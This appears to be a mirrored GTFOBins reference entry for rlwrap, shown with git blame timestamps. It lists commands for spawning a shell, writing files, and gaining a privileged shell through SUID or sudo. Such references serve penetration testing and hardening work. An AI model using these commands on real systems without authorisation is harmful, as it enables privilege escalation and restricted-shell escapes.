1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 10:53:35 +02:00
GTFOBins.github.io/_gtfobins/rlwrap.md

15 lines
345 B
Markdown
Raw Normal View History

2018-06-03 22:18:43 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- code: rlwrap /bin/sh
2018-06-03 22:18:43 +02:00
file-write:
2018-07-16 15:01:50 +02:00
- description: This adds timestamps to the output file. This relies on the external `echo` command.
code: |
LFILE=file_to_write
rlwrap -l "$LFILE" echo DATA
2018-10-05 19:55:38 +02:00
suid:
2018-07-16 15:01:50 +02:00
- code: ./rlwrap -H /dev/null /bin/sh -p
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- code: sudo rlwrap /bin/sh
2018-06-03 22:18:43 +02:00
---